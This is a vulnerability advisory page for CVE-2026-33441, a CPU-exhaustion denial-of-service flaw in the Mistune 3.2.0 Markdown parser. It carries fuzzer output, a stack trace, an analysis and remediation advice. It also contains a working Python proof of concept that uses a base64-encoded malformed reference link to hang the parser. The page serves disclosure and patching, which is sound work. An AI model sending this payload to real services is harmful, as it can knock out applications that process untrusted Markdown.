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Mistune CVE-2026-33441

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-05-06 https://github.com/lepture/mistune
Suse Denial Of Service Python
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Severity by source

SUSE PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from SUSE · only source for this CVE.

Lifecycle Timeline

2
Source Code Evidence Fetched
May 06, 2026 - 17:34 vuln.today
Analysis Generated
May 06, 2026 - 17:34 vuln.today

DescriptionCVE.org

Summary

Denial-of-Service (DoS) vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.

Function affected: parse_link_title() in helpers.py Issue: Malformed reference links cause excessive backtracking and parsing loops. Impact: Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.

Details

Name: mistune
Version: 3.2.0
Python version: Python 3.13.9
PIP version: pip 25.2
OS: Kali-linux-VERSION="2025.4"

PoC

import mistune
import base64

print("Exploit started....!")
data = base64.b64decode(
    "WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg=="
)
mistune.html(data.decode("utf-8", errors="ignore"))

Reproduce steps:

Simply execute above python script it will hang & increase cpu utilization to 100%

Fuzzer Output (libFuzzer):

ERROR: libFuzzer: timeout after 3 seconds
SUMMARY: libFuzzer: timeout

Stack Trace (Excerpt):

mistune/helpers.py:170 in parse_link_title
mistune/block_parser.py:259 in parse_ref_link
mistune/core.py:216 in parse_method
mistune/block_parser.py:458 in parse
mistune/markdown.py:93 in parse
mistune/markdown.py:120 in __call__

IMAGE POC:

<img width="1194" height="728" alt="POC" src="https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077" />

Impact:

Denial-of-Service (DoS) High CPU usage and application hang Potential for service unavailability in web apps or APIs processing untrusted Markdown

Suggested Mitigations:

Implement parsing depth and iteration limits. Limit reference-link title length. Detects excessive escape character sequences. Add defensive checks in parse_link_title. Add fuzz regression tests using the provided PoC.

This vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.

AnalysisAI

Malformed reference links in Mistune 3.2.0 trigger algorithmic complexity attacks in the parse_link_title() function, causing 100% CPU consumption and permanent process hangs. The vulnerability affects Python applications processing untrusted Markdown content, enabling remote denial-of-service through minimal-size payloads (the provided POC is under 200 bytes). A publicly available proof-of-concept demonstrates consistent exploitation discovered via coverage-guided fuzzing. Vendor patch 3.2.1 addresses the issue by implementing parsing limits and defensive checks.

Technical ContextAI

Mistune is a widely-used fast Markdown parser written in pure Python, commonly deployed in web applications, static site generators, documentation systems, and content management platforms. The vulnerability resides in the parse_link_title() function within helpers.py, which handles Markdown reference-style link syntax parsing. CWE-400 (Uncontrolled Resource Consumption) manifests when the parser encounters specially crafted input containing nested reference links with excessive escape character sequences. The malformed syntax triggers catastrophic backtracking in the parsing loop, where each iteration attempts to resolve deeply nested reference structures without depth or iteration limits. The stack trace confirms the attack path flows through parse_ref_link in the block parser, leading to unbounded recursion. The vulnerable package identifier is pkg:pip/mistune version 3.2.0, affecting Python environments running this specific release.

RemediationAI

Upgrade to Mistune version 3.2.1 immediately, which implements parsing depth limits, reference-link title length restrictions, and defensive validation in parse_link_title() per vendor advisory at https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c. Execute upgrade via pip: 'pip install --upgrade mistune==3.2.1' and verify installation with 'pip show mistune'. For environments unable to patch immediately, implement application-layer mitigations: configure process timeout limits (5-10 seconds maximum for Markdown parsing operations) to prevent indefinite hangs, deploy resource controls using cgroups or containerization to cap CPU allocation per parsing request, implement input validation rejecting Markdown documents exceeding reasonable size thresholds (suggested 100KB maximum), and sanitize or strip reference-style link syntax before passing to Mistune. Trade-off: timeout mechanisms will terminate legitimate parsing of very large documents; input filtering may break valid Markdown features. These compensating controls provide partial protection but do not address the root cause and may impact legitimate use cases. Add the provided POC to regression test suites to validate remediation effectiveness.

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Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
SUSE Linux Enterprise Module for Python 3 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed

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CVE-2026-33441 vulnerability details – vuln.today
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